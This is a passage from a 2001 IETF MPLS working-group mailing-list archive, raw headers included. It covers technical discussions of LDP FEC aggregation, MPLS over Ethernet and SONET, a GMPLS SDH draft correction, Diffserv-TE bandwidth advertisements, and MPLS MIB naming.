spec, it is a documented feature of at least one vendor.

  Meanwhile, if E and F give labels, it is still entirely possible for B to
aggregate the FECs represented by those labels. It is still possible for the next
hop at B for one of those FECs to change, and to break all the LSPs aggregated
into the label advertised by B.

  1: Is my interpretation of the spec correct?
  2: If correct, what is the fix?
       a. Disallow any FEC aggregation.
       b. Add a label-replace-mapping message.
       c. Allow multiple labels per FEC.
       d. When any FEC element's mapping must be withdrawn, withdraw all elements
of the aggregated FEC.
       e. other...


  Thumbnail arguments for each choice:

a: Easiest to implement, straightforward inter operability.
b: Cleanest fix that preserves multiple FEC elements per FEC.
c: Least effect on the spec, and a likely change for future versions of LDP
anyway.
d: Easiest to implement while preserving multiple FEC elements.
e. I did not think of it.

 Thumbnail arguments against:

a: Poor conservation of labels.
b: Significant change in the spec.
c: Obliterates the notion of one-to-one mapping between FEC and label.
d: Destroys innocent LSPs.
e: I did not think of it.

CLK

Abhijit M Gadgil wrote:

> Hi,
>  after going thr' the topology and the scenario u described, I think,
> the basic problem starts when C and D merge the FECs and send one label
> upstream. The topoplogy u mentioned works because C/D is doing Pop and
> then IP header is exposed. If there was some label given by E and/or F,
> then its impossible for packets with label C1 to determine the
> right FEC, and to attach correct label. Unless one does IP lookup after
> the pop and then Push label depending upon the look up result. (which
> defeats the purpose of using MPLS)
>
> Any thoughts?
>
> -abhijit
>
> Abhijit Gadgil
>
> On Mon, 14 May 2001, Chris Kuszmaul wrote:
>
> >   Indeed, consider: (the following was sent as private email to a
> > couple folks on the list, but I think it merits a broader audience)
> >
> >  In thinking about this, I ended up wondering what would happen when the
> > next hop changes, in the following scenario:
> >
> > Suppose we have A connected to B, connected to C and D, with C and D each
> > connected to E and F
> >
> >
> >             ----C----E
> > A---B<          X
> >            -----D----F
> >
> > Suppose that we do unsolicited ordered advertisement, to create LSPs leading
> > to E and F.
> >
> > C and D both aggregate their FECs, and B receives the following
> > advertisements



From owner-mpls@UU.NET  Wed May 16 13:49:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15178
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 13:49:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphf16201;
	Wed, 16 May 2001 17:48:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkphf01510
	for mpls-outgoing; Wed, 16 May 2001 17:48:16 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkphf01470
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 17:47:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkphf17562
	for <mpls@UU.net>; Wed, 16 May 2001 17:47:53 GMT
Received: from charon.s3group.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ns.s3group.com [193.120.90.3])
	id QQkphf09564
	for <mpls@UU.net>; Wed, 16 May 2001 17:47:52 GMT
Received: from headyin.s3group.com ([193.120.89.200])
	by charon.s3group.com (8.9.3+Sun/8.9.3) with ESMTP id SAA19812
	for <mpls@UU.net>; Wed, 16 May 2001 18:47:51 +0100 (BST)
Received: from s3group.com ([193.120.89.170])
 by headyin.s3group.com (Sun Internet Mail Server sims.4.0.2000.10.12.16.25.p8)
 with ESMTP id <0GDF00M6OW3QYA@headyin.s3group.com> for mpls@UU.net; Wed,
 16 May 2001 18:47:50 +0100 (BST)
Date: Wed, 16 May 2001 18:44:27 +0100
From: Ian Bartley <ian.bartley@s3group.com>
Subject: MPLS over Ethernet and SONET
To: mpls@UU.NET
Message-id: <3B02BC7B.4B1D2B06@s3group.com>
MIME-version: 1.0
X-Mailer: Mozilla 4.73 [en] (WinNT; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Can anyone help,

I'm trying to find out about sending MPLS over an Ethernet
or SONET network, I understand that a shim header should
be used to pass the MPLS label. But I'm enquiring about the
Layer2 information needed to send over the appropriate media.

I'm wondering how can the destination MAC address be
determined, surely we want to avoid using the next hop IPv4
address and resolving it to a dest mac. This would mean
additional lookups.
Does the destination MAC need to be established when the
LSP is set up and should it be places in the OutSegmentEntry
as described in draft-ietf-mpls-lsr-mib-07.
Is there an etherent MIB anywhere that describes exactly what is
necessary for the ethernet interfaces?

Also if anyone knows of any similar MIB for MPLS over SONET
please let me know,

Thanks
Ian


From owner-mpls@UU.NET  Wed May 16 13:56:23 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15314
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 13:56:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphf21950;
	Wed, 16 May 2001 17:51:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkphf01854
	for mpls-outgoing; Wed, 16 May 2001 17:50:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkphf01831
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 17:50:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkphf27779
	for <mpls@uu.net>; Wed, 16 May 2001 17:50:19 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkphf17759
	for <mpls@uu.net>; Wed, 16 May 2001 17:50:18 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4GHoId24014
	for <mpls@uu.net>; Wed, 16 May 2001 10:50:18 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id NAA17315 for mpls@uu.net; Wed, 16 May 2001 13:50:16 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkphe29830
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 17:35:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkphe26105
	for <mpls@UU.NET>; Wed, 16 May 2001 17:35:02 GMT
Received: from smtp1.gtsgroup.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkphe17743
	for <mpls@UU.NET>; Wed, 16 May 2001 17:34:58 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Wed, 16 May 2001 19:25:44 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LA8T2Y4N>; Wed, 16 May 2001 19:34:15 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA042145F0@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Bernstein, Greg'" <GregB@ciena.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
Date: Wed, 16 May 2001 19:34:14 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi all,

That's right Greg, thanks.

I am guilty, I introduced this bug when I updated the text I believe. Sorry.

I'll correct it.

Kind regards,

Eric

-----Original Message-----
From: Bernstein, Greg [mailto:GregB@ciena.com]
Sent: Wednesday, May 16, 2001 5:33 PM
To: ccamp@ops.ietf.org; mpls@UU.NET
Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt


Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it says:

   In case of any type of contiguous concatenation (e.g. standard or
   arbitrary concatenation), only one label appears in the Label
   field. That label is the lowest signal of the contiguously
   concatenated signal. By lowest signal we mean the one having the
   lowest label when compared as integer values, i.e. the first
   component signal of the concatenated signal encountered when
   descending the tree.

   In case of virtual concatenation, the explicit ordered list of all
   labels in the concatenation is given. Each label indicates a
   component of the virtually concatenated signal.

This does not reflect the intent of arbitrary concatenation- arbitrary, size
and placement of timeslots.  Otherwise the main benefit of arbitrary
concatenation, preventing re-grooming is lost.  Corrected text could read:

    In the case of standard contiguous, only one label appears in the Label
   field. That label is the lowest signal of the standard contiguously
   concatenated signal. By lowest signal we mean the one having the
   lowest label when compared as integer values, i.e. the first
   component signal of the concatenated signal encountered when
   descending the tree.

   In the cases of arbitrary or virtual concatenation, the explicit ordered
list of all
   labels in the concatenation is given. Each label indicates a
   component of the arbitrary or virtually concatenated signal.


Greg B.
	Dr. Greg M. Bernstein, Senior Scientist, Ciena 
	New phone: (510) 573-2237



From owner-mpls@UU.NET  Wed May 16 14:48:03 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16667
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 14:48:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgq23609;
	Wed, 16 May 2001 14:02:33 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgq20585
	for mpls-outgoing; Wed, 16 May 2001 14:02:00 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpgq20427
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:01:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpgq22210
	for <mpls@UU.NET>; Wed, 16 May 2001 14:01:09 GMT
Received: from gw.tropicnetworks.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: gw.tropicnetworks.com [209.87.233.9])
	id QQkpgq25285
	for <mpls@UU.NET>; Wed, 16 May 2001 14:01:09 GMT
Received: from mail.tropicnetworks.com by gw.tropicnetworks.com
          via smtpd (for cmr0.ash.ops.us.uu.net [198.5.241.38]) with SMTP; 16 May 2001 14:01:09 UT
Received: from cr437225a ([10.1.2.190]) by mail.tropicnetworks.com
          (Netscape Messaging Server 3.6)  with SMTP id AAA12AD;
          Wed, 16 May 2001 10:01:11 -0400
From: "Sudhakar Ganti" <sganti@tropicnetworks.com>
To: "Darek Skalecki" <dareks@nortelnetworks.com>
Cc: "mpls" <mpls@UU.NET>
Subject: RE: Question on BW advertisements for Diffserv aware TE based on Class Type
Date: Wed, 16 May 2001 10:01:26 -0400
Message-ID: <LPEGKNJLDDNILOPDFLBAKEBOCCAA.sganti@tropicnetworks.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001C_01C0DDEF.2BA17E20"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3B027840.48CAD796@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_001C_01C0DDEF.2BA17E20
Content-Type: text/plain;
	charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

Hi Darek,

Thanks for your reply. If the Maximum Reservable Bandwidth for Class =
Type-N
is implicitly inferred, then I think the text in both these drafts =
should not refer to this
as it is implementation / configuration specific.

Second thing is that, it may be necessary to advertise this value. It =
gives
an option for Traffic Engineering not to take paths that are overbooked =
for a=20
given class if necessary. We may not be able to infer this from =
Unreserved=20
bandwidth. If not, is there any other way to know about it? Thanks

-Sudhakar
  -----Original Message-----
  From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Darek =
Skalecki
  Sent: Wednesday, May 16, 2001 8:53 AM
  To: Sudhakar Ganti
  Cc: mpls
  Subject: Re: Question on BW advertisements for Diffserv aware TE based =
on Class Type


  Hi Sudhakar,=20
  See inlined answers.=20

  Thanks,=20

  Darek=20
   =20

  Sudhakar Ganti wrote:=20

    Hello,=20
    A couple of questions regarding the BW advertisements=20
    on these drafts:=20
        draft-ietf-mpls-diff-te-ext-01.txt=20
        draft-ietf-ospf-diff-te-00.txt=20

    a) The text in both the drafts refers to "the Class-Type N=20
       bandwidth currently unreserved (i.e. the difference=20
       between the Maximum Reservable Bandwidth for Class-Type N=20
       and the bandwidth reserved by existing Class-Type N LSPs)"=20

    However I do not see any separate sub-TLV for Max reservable=20
    bandwidth for each class type (class type N). There is only one=20
    that advertises the Max Reservable Aggregate Bandwidth.

  The Maximum Reservable Bandwidth for Class-Type N is reflected in the =
Unreserved Bandwidth for Class-Type N. That is, there is no need to =
advertize through IGP the Maximum Reservable Bandwidth for Class-Type N =
as it is implicitely advertized  in the Unreserved Bandwidth for =
Class-Type N. The intention is that the Maximum Reservable Bandwidth for =
Class-Type N is configured on links that support Class-Type N. However, =
when it is time to advertize bandwidth availability for that link, only =
the Unreserved Bandwidth for Class-Type N is computed, as you stated by =
quoting the draft, and then advertized through IGP. Route selection =
through the network is then performed using only the Unreserved =
Bandwidths for Class-Types.=20

  The Maximum Reservable Aggregate Bandwidth (which can be thought of as =
the Maximum Reservable Bandwidth for Class-Type 0) is advertized for =
historical reasons, i.e. original IGP extensions for TE included it and =
we didn't want to simply remove it as our extensions are built on the =
original extensions.=20
     =20
    b) Different classes can be oversubscribed differently=20
       depending upon the link (or network) configuration.=20
       If so, I think it may be necessary to advertise the=20
       Maximum Reservable bandwidth for each Class (Class-Type N).=20

       Is there any reason why this is omitted??

  See my answer to a). Since Maximum Reservable Bandwidth for Class-Type =
N is implicitely "included" in the Unreserved Bandwidth for Class-Type N =
and it is the Unreserved Bandwidth for Class-Type N that is advertized =
through IGPs and used for route computation, there is no need to =
separately advertize Maximum Reservable Bandwidth for Class-Type N. To =
oversubscribe a link, the sum of Maximum Reservable Bandwidths for all =
Class-Types supported by the link needs to be greater than the capacity =
of the link. As I already mentioned, each Maximum Reservable Bandwidth =
for Class-Type N is configured on the link and used in the computation =
of the Unreserved Bandwidth for Class-Type N for advertizing purposes.=20
     =20
    -Sudhakar

--=20
Darek Skalecki
Nortel=20
(613) 765-2252
   =20

------=_NextPart_000_001C_01C0DDEF.2BA17E20
Content-Type: text/html;
	charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8">
<META content=3D"MSHTML 5.50.4613.1700" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D170565113-16052001>Hi=20
Darek,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D170565113-16052001>Thanks=20
for your reply. If the Maximum Reservable Bandwidth for Class=20
Type-N</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D170565113-16052001>is=20
implicitly inferred, then I think&nbsp;the text in both these drafts =
should not=20
refer to this</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001></SPAN></FONT><FONT face=3DArial =
color=3D#0000ff=20
size=3D2><SPAN class=3D170565113-16052001>as it is implementation /=20
configuration&nbsp;specific.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D170565113-16052001>Second=20
thing is that, it may be necessary to advertise this value. It=20
gives</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D170565113-16052001>an=20
option for Traffic Engineering not to take paths that are overbooked=20
</SPAN></FONT><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001>for a </SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D170565113-16052001>given=20
class if necessary. We may not be able to infer this from Unreserved=20
</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001>bandwidth. If not, is there any other way to =
know about=20
it? Thanks</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D170565113-16052001>-Sudhakar</SPAN></FONT></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> owner-mpls@UU.NET=20
  [mailto:owner-mpls@UU.NET]<B>On Behalf Of </B>Darek =
Skalecki<BR><B>Sent:</B>=20
  Wednesday, May 16, 2001 8:53 AM<BR><B>To:</B> Sudhakar =
Ganti<BR><B>Cc:</B>=20
  mpls<BR><B>Subject:</B> Re: Question on BW advertisements for Diffserv =
aware=20
  TE based on Class Type<BR><BR></FONT></DIV>Hi Sudhakar,=20
  <P>See inlined answers.=20
  <P>Thanks,=20
  <P>Darek <BR>&nbsp;=20
  <P>Sudhakar Ganti wrote:=20
  <BLOCKQUOTE TYPE=3D"CITE">Hello,=20
    <P>A couple of questions regarding the BW advertisements <BR>on =
these=20
    drafts: <BR>&nbsp;&nbsp;&nbsp; draft-ietf-mpls-diff-te-ext-01.txt=20
    <BR>&nbsp;&nbsp;&nbsp; draft-ietf-ospf-diff-te-00.txt=20
    <P>a) The text in both the drafts refers to "the Class-Type N=20
    <BR>&nbsp;&nbsp; bandwidth currently unreserved (i.e. the difference =

    <BR>&nbsp;&nbsp; between the Maximum Reservable Bandwidth for =
Class-Type N=20
    <BR>&nbsp;&nbsp; and the bandwidth reserved by existing Class-Type N =
LSPs)"=20
    <P>However I do not see any separate sub-TLV for Max reservable=20
    <BR>bandwidth for each class type (class type N). There is only one =
<BR>that=20
    advertises the Max Reservable Aggregate =
Bandwidth.</P></BLOCKQUOTE>The Maximum=20
  Reservable Bandwidth for Class-Type N&nbsp;is reflected in the =
Unreserved=20
  Bandwidth for Class-Type N. That is, there is no need to advertize =
through=20
  IGP&nbsp;the Maximum Reservable Bandwidth for Class-Type N as it is=20
  implicitely advertized&nbsp; in the Unreserved Bandwidth for =
Class-Type N. The=20
  intention is that the Maximum Reservable Bandwidth for Class-Type =
N&nbsp;is=20
  configured on links that support Class-Type N. However, when it is =
time to=20
  advertize bandwidth availability for that link, only the Unreserved =
Bandwidth=20
  for Class-Type N&nbsp;is computed, as you stated by quoting the draft, =
and=20
  then advertized through IGP. Route selection through the network is =
then=20
  performed using only the Unreserved Bandwidths for=20
  Class-Types.&nbsp;<BR><BR>The Maximum Reservable Aggregate Bandwidth =
(which=20
  can be thought of as the Maximum Reservable Bandwidth for Class-Type=20
  0)&nbsp;is advertized for historical reasons, i.e. original=20
  IGP&nbsp;extensions for TE included it and we didn't want to simply =
remove it=20
  as our extensions are built on the original extensions.=20
  <BLOCKQUOTE TYPE=3D"CITE">&nbsp;=20
    <P>b) Different classes can be oversubscribed differently =
<BR>&nbsp;&nbsp;=20
    depending upon the link (or network) configuration. <BR>&nbsp;&nbsp; =
If so,=20
    I think it may be necessary to advertise the <BR>&nbsp;&nbsp; =
Maximum=20
    Reservable bandwidth for each Class (Class-Type N).=20
    <P>&nbsp;&nbsp; Is there any reason why this is =
omitted??</P></BLOCKQUOTE>See=20
  my answer to a). Since Maximum Reservable Bandwidth for Class-Type =
N&nbsp;is=20
  implicitely "included"&nbsp;in the Unreserved Bandwidth for Class-Type =

  N&nbsp;and it is the Unreserved Bandwidth for Class-Type N&nbsp;that =
is=20
  advertized through IGPs and used for route computation, there is no =
need to=20
  separately advertize Maximum Reservable Bandwidth for Class-Type N. To =

  oversubscribe a link, the sum of Maximum Reservable Bandwidths for all =

  Class-Types supported by the link needs to be greater than the =
capacity of the=20
  link. As I already mentioned, each Maximum Reservable Bandwidth for =
Class-Type=20
  N&nbsp;is configured on the link and used in the computation of the =
Unreserved=20
  Bandwidth for Class-Type N&nbsp;for advertizing purposes.=20
  <BLOCKQUOTE TYPE=3D"CITE">&nbsp;=20
    <P>-Sudhakar</P></BLOCKQUOTE><PRE>--&nbsp;
Darek Skalecki
Nortel&nbsp;
(613) 765-2252</PRE>&nbsp; </BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_001C_01C0DDEF.2BA17E20--



From owner-mpls@UU.NET  Wed May 16 15:20:58 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA17540
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 15:20:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphl19184;
	Wed, 16 May 2001 19:19:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkphl20251
	for mpls-outgoing; Wed, 16 May 2001 19:19:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkphl20212
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 19:18:41 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkphl20359
	for <mpls@UU.NET>; Wed, 16 May 2001 19:17:44 GMT
Received: from WATERTOWN.litchfieldcomm.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 60.190.252.64.snet.net [64.252.190.60])
	id QQkphl08694
	for <mpls@UU.NET>; Wed, 16 May 2001 19:17:40 GMT
content-class: urn:content-classes:message
Subject: MPLS-TC-MIB
Date: Wed, 16 May 2001 15:16:39 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Message-ID: <0E2DFCE7E586904DA0F583CB5EAD73CC031367@WATERTOWN.litchfieldcomm.com>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0
Thread-Topic: MPLS-TC-MIB
Thread-Index: AcDePLvJtIoPBv2jQ8+gf1QmFn8q2Q==
From: "Dave Danenberg" <dave_danenberg@litchfieldcomm.com>
To: <tnadeau@cisco.com>
Cc: "mpls@uu.net" <mpls@UU.NET>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id PAA17540

Tom,

I am implementing a MIB (as you know) based on the LSR and TE MIBs. I am
using some of your TCs including MplsLsrId. I was going to convert to
using the MPLS-TC-MIB, then I noticed that MplsLsrId is not there, but
MplsLsrIdentifier is. It appears that MplsLsrIdentifier should be
substituted for MplsLsrId - is that correct?

--Dave


From owner-mpls@UU.NET  Wed May 16 15:36:37 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA17861
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 15:36:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphm22359;
	Wed, 16 May 2001 19:35:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkphm21890
	for mpls-outgoing; Wed, 16 May 2001 19:34:51 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkphm21874
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 19:34:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkphm04554
	for <mpls@UU.NET>; Wed, 16 May 2001 19:33:51 GMT
Received: from smtp486-bms.mail.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp486-bms.mail.com [165.251.44.40])
	id QQkphm26742
	for <mpls@UU.NET>; Wed, 16 May 2001 19:33:51 GMT
Received: from csrinivasan (unknown [12.34.209.74])
	by smtp486-bms.mail.com (SMTP server) with SMTP
	id E2C7449877; Wed, 16 May 2001 15:33:50 -0400 (EDT)
From: "Cheenu Srinivasan" <cheenu@alphion.com>
To: "'Dave Danenberg'" <dave_danenberg@litchfieldcomm.com>
Cc: "mpls@uu.net" <mpls@UU.NET>
Subject: RE: MPLS-TC-MIB
Date: Wed, 16 May 2001 15:33:48 -0400
Message-ID: <001b01c0de3f$21d75540$580aa8c0@csrinivasan>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
In-Reply-To: <0E2DFCE7E586904DA0F583CB5EAD73CC031367@WATERTOWN.litchfieldcomm.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

> I am implementing a MIB (as you know) based on the LSR and TE 
> MIBs. I am
> using some of your TCs including MplsLsrId. I was going to convert to
> using the MPLS-TC-MIB, then I noticed that MplsLsrId is not there, but
> MplsLsrIdentifier is. It appears that MplsLsrIdentifier should be
> substituted for MplsLsrId - is that correct?
> 
> --Dave


Are you looking at:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-06.txt
It only refers to MplsLsrId not MplsLsrIdentifier.

Cheenu



From owner-mpls@UU.NET  Wed May 16 16:01:41 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA18194
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 16:01:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpho11963;
	Wed, 16 May 2001 20:00:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkphn24876
	for mpls-outgoing; Wed, 16 May 2001 19:59:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkphn24859
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 19:59:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkphn22424
	for <mpls@uu.net>; Wed, 16 May 2001 19:58:57 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkphn01311
	for <mpls@uu.net>; Wed, 16 May 2001 19:58:56 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4GJx0911185
	for <mpls@uu.net>; Wed, 16 May 2001 12:59:00 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id PAA17648 for mpls@uu.net; Wed, 16 May 2001 15:58:55 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkphn23214
